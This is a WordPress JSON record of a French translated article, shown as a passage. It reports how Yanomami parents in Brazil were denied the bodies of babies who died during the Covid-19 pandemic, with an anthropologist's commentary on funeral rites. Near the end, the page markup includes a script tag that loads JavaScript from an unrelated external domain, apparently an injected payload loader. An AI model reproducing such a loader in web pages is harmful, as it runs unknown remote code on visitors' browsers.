\u00bb. Puis j&rsquo;ai attendu, j&rsquo;ai attendu, et puis l&rsquo;information est arriv\u00e9e : \u00ab Votre fils est mort dans la journ\u00e9e. Le corps, je pense, est toujours l\u00e0 dans l&rsquo;USI, je ne sais pas o\u00f9 il est. \u00c0 la Casai [maison de sant\u00e9 indig\u00e8ne], ils n&rsquo;ont pas non plus dit o\u00f9 se trouve le corps de mon fils. Ils ne donnent pas d&rsquo;informations sur l&rsquo;endroit o\u00f9 se trouve le corps. J&rsquo;ai un journal qui parle de mon fils [d\u00e9claration de naissance vivante] et ici, \u00e0 Casai, l&rsquo;infirmi\u00e8re m&rsquo;a demand\u00e9 : \u00ab O\u00f9 est votre fils ? \u00bb J&rsquo;ai dit : \u00ab Il est mort ! \u00bb \u00ab O\u00f9 est le document qui dit qu&rsquo;il est mort \u00e0 la maternit\u00e9 le 28 ? \u00bb \u00ab Je ne sais pas ! Les m\u00e9decins ne me l&rsquo;ont pas donn\u00e9 \u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Remo et Rosinete n&rsquo;ont r\u00e9ussi \u00e0 rentrer dans leur village que le 19 juin. Sans le corps de leur fils. C&rsquo;est ainsi qu&rsquo;une nouvelle blessure de violence s&rsquo;est ouverte chez les Yanomami. Le bureau du procureur f\u00e9d\u00e9ral enqu\u00eate sur cette affaire ainsi que sur celle d&rsquo;autres d\u00e9c\u00e8s d&rsquo;adultes dont les corps sont r\u00e9clam\u00e9s par les Yanomami.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/gal_22755.jpg\" width=\"600\" height=\"375\" \/><\/p>\n<p style=\"text-align: center;\"><strong>\u00a0Enterrement dans une fosse commune \u00e0 Manaus lors de la pand\u00e9mie de Covid-19. Photo Alex Pazuello\/Semcom<\/strong><\/p>\n<h3 align=\"justify\">\u00ab\u00a0Voler les morts est le stade supr\u00eame de la barbarie\u00a0\u00bb<\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">L&rsquo;anthropologue fran\u00e7ais Bruce Albert compare \u00ab\u00a0l&rsquo;enterrement secret et obligatoire (\u00ab\u00a0bios\u00e9curit\u00e9\u00a0\u00bb !) des victimes Yanomami de covid-19\u00a0\u00bb \u00e0 la \u00ab\u00a0disparition\u00a0\u00bb des corps des victimes des tortionnaires de la dictature militaire (1964-1985). \u00ab\u00a0Voler les morts des autres et nier leur deuil a toujours \u00e9t\u00e9 le stade supr\u00eame de la barbarie, dans le m\u00e9pris et la n\u00e9gation de l&rsquo;Autre (ethnique et\/ou politique)\u00a0\u00bb, dit-il dans un entretien avec \u00e0 EL PA\u00cdS. Albert a \u00e9crit, avec Davi Kopenawa, un livre qui fait date dans l&rsquo;histoire de l&rsquo;anthropologie <i>: <a href=\"https:\/\/www.payot.ch\/Detail\/la_chute_du_ciel-bruce_albert-9782259210683\">La chute du ciel<\/a><\/i> (Plon, 2010).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">En 1993, l&rsquo;\u00e9pisode connu sous le nom de \u00ab\u00a0Massacre de Haximu\u00a0\u00bb, au cours duquel 16 indig\u00e8nes ont \u00e9t\u00e9 assassin\u00e9s par des orpailleurs, montre l&rsquo;importance non n\u00e9gociable que le peuple Yanomami accorde \u00e0 ses rituels fun\u00e9raires. \u00ab\u00a0M\u00eame avec la terreur d&rsquo;\u00eatre chass\u00e9s par les garimpeiros, ils n&rsquo;ont pas h\u00e9sit\u00e9 \u00e0 mettre leur vie en danger pour r\u00e9cup\u00e9rer leurs morts, les pleurer et les br\u00fbler correctement sur leur chemin de fuite\u00a0\u00bb, se souvient Albert. \u00ab\u00a0Pour les Yanomami, il vaut mieux mourir que de laisser leurs morts sans tombe.\u00a0\u00bb<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Dans les guerres anciennes, les Yanomami accordaient toujours une tr\u00eave pour que les femmes de leurs ennemis puissent r\u00e9cup\u00e9rer leurs morts dans la for\u00eat et les pleurer correctement. Faire \u00ab\u00a0dispara\u00eetre\u00a0\u00bb les ennemis morts, selon l&rsquo;anthropologue, \u00e9tait consid\u00e9r\u00e9 comme \u00ab\u00a0un d\u00e9shonneur et une manifestation d&rsquo;hostilit\u00e9 litt\u00e9ralement inhumaine : digne des animaux f\u00e9roces ou des mauvais esprits de la for\u00eat\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u00c0 la fin de l\u2019entretien, Bruce Albert dit encore : \u00ab\u00a0J&rsquo;esp\u00e8re que ce sera utile \u00e0 vos lecteurs pour comprendre : il n&rsquo;y a pas de pire affront et de plus grande souffrance pour les Yanomami que de faire \u00ab\u00a0dispara\u00eetre\u00a0\u00bb leurs morts\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le cas des b\u00e9b\u00e9s San\u00f6ma marque l&rsquo;ouverture d&rsquo;un nouveau chapitre de la violence d&rsquo;\u00c9tat contre les peuples autochtones. L&rsquo;irrespect et l&rsquo;indignit\u00e9 avec lesquels les autorit\u00e9s publiques traitent la mort sont identiques \u00e0 ceux avec lesquels ils traitent la vie. Il ne suffit pas de tuer par contamination virale, il faut aussi torturer les femmes et les hommes. Ce chapitre ne fait que commencer, mais les victimes lui ont d\u00e9j\u00e0 donn\u00e9 un titre : g\u00e9nocide.<\/span><\/p>\n<p><strong><span class=\"auteur\" style=\"font-size: 14pt;\">Eliane Brum<\/span><\/strong><\/p>\n<p><strong><span class=\"navigation_cadre\" style=\"font-size: 14pt;\">Original: <a href=\"http:\/\/www.tlaxcala-int.org\/article.asp?reference=29201\">Pandemia de coronav\u00edrus: m\u00e3es Yanomami imploram pelos corpos de seus beb\u00eas<\/a><\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Traduit par <\/span><\/strong><span class=\"trad\"><strong><span style=\"font-size: 14pt;\">\u00a0<\/span><\/strong><b> <a href=\"http:\/\/www.tlaxcala-int.org\/biographie.asp?ref_aut=2&#038;lg_pp=fr\"><strong><span style=\"font-size: 14pt;\">Fausto Giudice \u0424\u0430\u0443\u0441\u0442\u043e \u0414\u0436\u0443\u0434\u0438\u0447\u0435 \u0641<\/span><\/strong>\u0627\u0648\u0633\u062a\u0648 \u062c\u064a\u0648\u062f\u064a\u0634\u064a<\/a> <\/b><\/span><\/p>\n<p><strong><span class=\"navigation_cadre\"><span style=\"font-size: 14pt;\">Traductions disponibles : <a href=\"http:\/\/www.lapluma.net\/2020\/06\/27\/las-madres-yanomamis-suplican-por-los-cuerpos-de-sus-bebes-en-brasil\/\">Espa\u00f1ol\u00a0<\/a><\/span> <\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Source: <a href=\"http:\/\/www.tlaxcala-int.org\/article.asp?reference=29202\">Tlaxcala<\/a>, le 25 juin 2020<\/span><\/strong><\/p>\n<p><a href=\"https:\/\/paypal.me\/pools\/c\/8bfPFKFYP5\"><img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_21691.jpg\" alt=\"http:\/\/tlaxcala-int.org\/upload\/gal_21691.jpg\" \/> <\/a><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L&rsquo;indignit\u00e9 avec laquelle les populations autochtones du Br\u00e9sil sont trait\u00e9es dans la pand\u00e9mie de covid-19 a ouvert un nouveau et terrible chapitre de violation des droits des peuples natifs par l&rsquo;\u00c9tat br\u00e9silien<\/p>\n","protected":false},"author":656,"featured_media":19567,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[217],"tags":[9582,8533,8531,9583,482,9584,9580,9581],"coauthors":[9579],"class_list":["post-19620","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-abya-yala","tag-brasil-abya-yala","tag-crise-du-coronavirus","tag-crisis-del-coronavirus","tag-eliane-brum","tag-genocidio","tag-peuples-autchtones-damazonie","tag-pueblos-indigenas-de-brasil","tag-yamomamis"],"translation":{"provider":"WPGlobus","version":"2.12.2","language":"fr","enabled_languages":["es","fr"],"languages":{"es":{"title":true,"content":true,"excerpt":true},"fr":{"title":true,"content":true,"excerpt":true}}},"_links":{"self":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/19620","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/users\/656"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/comments?post=19620"}],"version-history":[{"count":6,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/19620\/revisions"}],"predecessor-version":[{"id":19624,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/19620\/revisions\/19624"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media\/19567"}],"wp:attachment":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media?parent=19620"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/categories?post=19620"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/tags?post=19620"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/coauthors?post=19620"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}